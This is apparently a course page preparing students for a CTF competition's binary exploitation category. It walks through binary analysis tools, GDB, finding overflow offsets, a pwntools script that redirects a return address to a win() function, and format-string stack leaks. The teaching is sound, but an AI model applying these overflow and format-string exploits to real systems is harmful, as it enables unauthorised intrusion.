Enumeration & Exploitation

Enumeration and exploitation is the most advanced NCL category. You are given compiled binaries and must analyze them to find vulnerabilities, extract hidden information, or exploit weaknesses like buffer overflows. This category directly builds on the C programming and memory management skills from Weeks 6-10 of this course.

1. Binary Analysis Basics

Before exploiting a binary, you need to understand what it does. These tools extract information without running the program:

strings

# Find readable text in a binary (flags, passwords, error messages)
strings ./binary | grep -i "flag\|password\|key\|secret"

# Find specific format patterns
strings ./binary | grep "SKY-"

Many CTF challenges hide flags as plaintext strings inside the binary. Always try strings first.

file and checksec

# Identify the binary type
file ./binary
# Output: ELF 64-bit LSB executable, x86-64, dynamically linked

# Check security protections
checksec --file=./binary

checksec shows which exploit mitigations are enabled:

In CTF, disabled protections tell you which exploits are viable. No NX = you can execute shellcode on the stack. No canary = stack overflows are straightforward.

objdump

# Disassemble the binary
objdump -d ./binary | less

# Disassemble a specific function
objdump -d ./binary | grep -A 50 "<main>:"

# Show all section headers
objdump -h ./binary

2. Dynamic Analysis with GDB

GDB (GNU Debugger) lets you run a program step-by-step, set breakpoints, examine memory, and inspect registers. This is essential for understanding program behavior and developing exploits.

Basic GDB workflow

gdb ./binary                   # Load the binary

# Inside GDB:
(gdb) disas main               # Disassemble main()
(gdb) break *main              # Set breakpoint at main
(gdb) break *main+42           # Break at specific instruction
(gdb) run                      # Run the program
(gdb) run < input.txt          # Run with input from file

# At a breakpoint:
(gdb) info registers           # Show all register values
(gdb) x/20x $rsp              # Examine 20 hex words at stack pointer
(gdb) x/s 0x400abc            # Examine as string at address
(gdb) ni                       # Next instruction (step over)
(gdb) si                       # Step into function call
(gdb) continue                 # Continue to next breakpoint

Key registers (x86-64)

Finding the buffer overflow offset

If a program crashes on long input, you need to find exactly how many bytes it takes to overwrite the return address:

# Generate a pattern
python3 -c "print('A' * 100)" | ./binary

# If it segfaults, check what's in RIP:
(gdb) run <<< $(python3 -c "print('A'*100)")
(gdb) info registers rip
# If RIP = 0x4141414141414141, the A's reached the return address

Use a cyclic pattern to find the exact offset:

# Generate with pwntools
from pwn import *
print(cyclic(100))
# Use cyclic_find() with the value in RIP to get the offset

3. Buffer Overflow Exploitation

A buffer overflow occurs when a program writes more data to a buffer (array) than it can hold, overwriting adjacent memory — including the saved return address on the stack. By controlling the return address, an attacker controls where execution goes next.

The stack layout

High addresses
┌─────────────────────┐
│ Return address      │ ← overwrite THIS to hijack control
├─────────────────────┤
│ Saved RBP           │
├─────────────────────┤
│ Local variables     │
│ (buffer starts here)│ ← input goes here, overflows upward
└─────────────────────┘
Low addresses

Vulnerable C code pattern

void vulnerable() {
    char buffer[64];
    gets(buffer);    // No bounds checking — reads until newline
    // After gets(), if input > 64 bytes, it overwrites the return address
}

gets() is the textbook vulnerable function — it reads unlimited input into a fixed buffer. strcpy() without length checking has the same problem.

Simple exploit: redirect to a hidden function

Many CTF challenges include a win() or flag() function that is never called normally. The exploit overwrites the return address with the address of that function:

from pwn import *

# Connect to the target
p = process('./binary')  # or remote('target.com', port)

# Build the payload
offset = 72          # bytes to reach return address (found with GDB)
win_addr = 0x401234  # address of win() (found with objdump)

payload = b'A' * offset + p64(win_addr)

p.sendline(payload)
p.interactive()

4. Format String Vulnerabilities

Format string vulnerabilities occur when user input is passed directly as the format argument to printf():

// Vulnerable:
printf(user_input);    // If user_input = "%x %x %x", it leaks stack values

// Safe:
printf("%s", user_input);  // User input treated as data, not format

Reading memory

%x       — print the next value on the stack (hex)
%s       — print the string at the address on the stack
%n       — WRITE the number of bytes printed so far to the address on the stack
%7$x     — print the 7th value on the stack (direct parameter access)

Entering %x %x %x %x %x %x as input to a vulnerable program leaks stack contents, which may include addresses, canary values, or other sensitive data.

5. Reverse Engineering

Some NCL challenges give you a binary and ask what it does (without source code). The approach:

# Static analysis
strings ./binary          # Readable text
objdump -d ./binary       # Disassembly
ltrace ./binary           # Trace library calls (strcmp, puts, etc.)
strace ./binary           # Trace system calls (open, read, write)

ltrace is particularly useful — if the program compares your input with strcmp(), ltrace shows both arguments:

ltrace ./binary
# Output: strcmp("your_input", "s3cr3t_p4ss") = -1
# The password is "s3cr3t_p4ss"

Tools

Resources

Practice: pwn.college (ASU’s free binary exploitation platform — highly recommended) · picoCTF Binary Exploitation · ROP Emporium (return-oriented programming)

Reference: Nightmare — CTF binary exploitation guide · pwntools Documentation

Video: LiveOverflow — Binary Exploitation · John Hammond — pwn CTF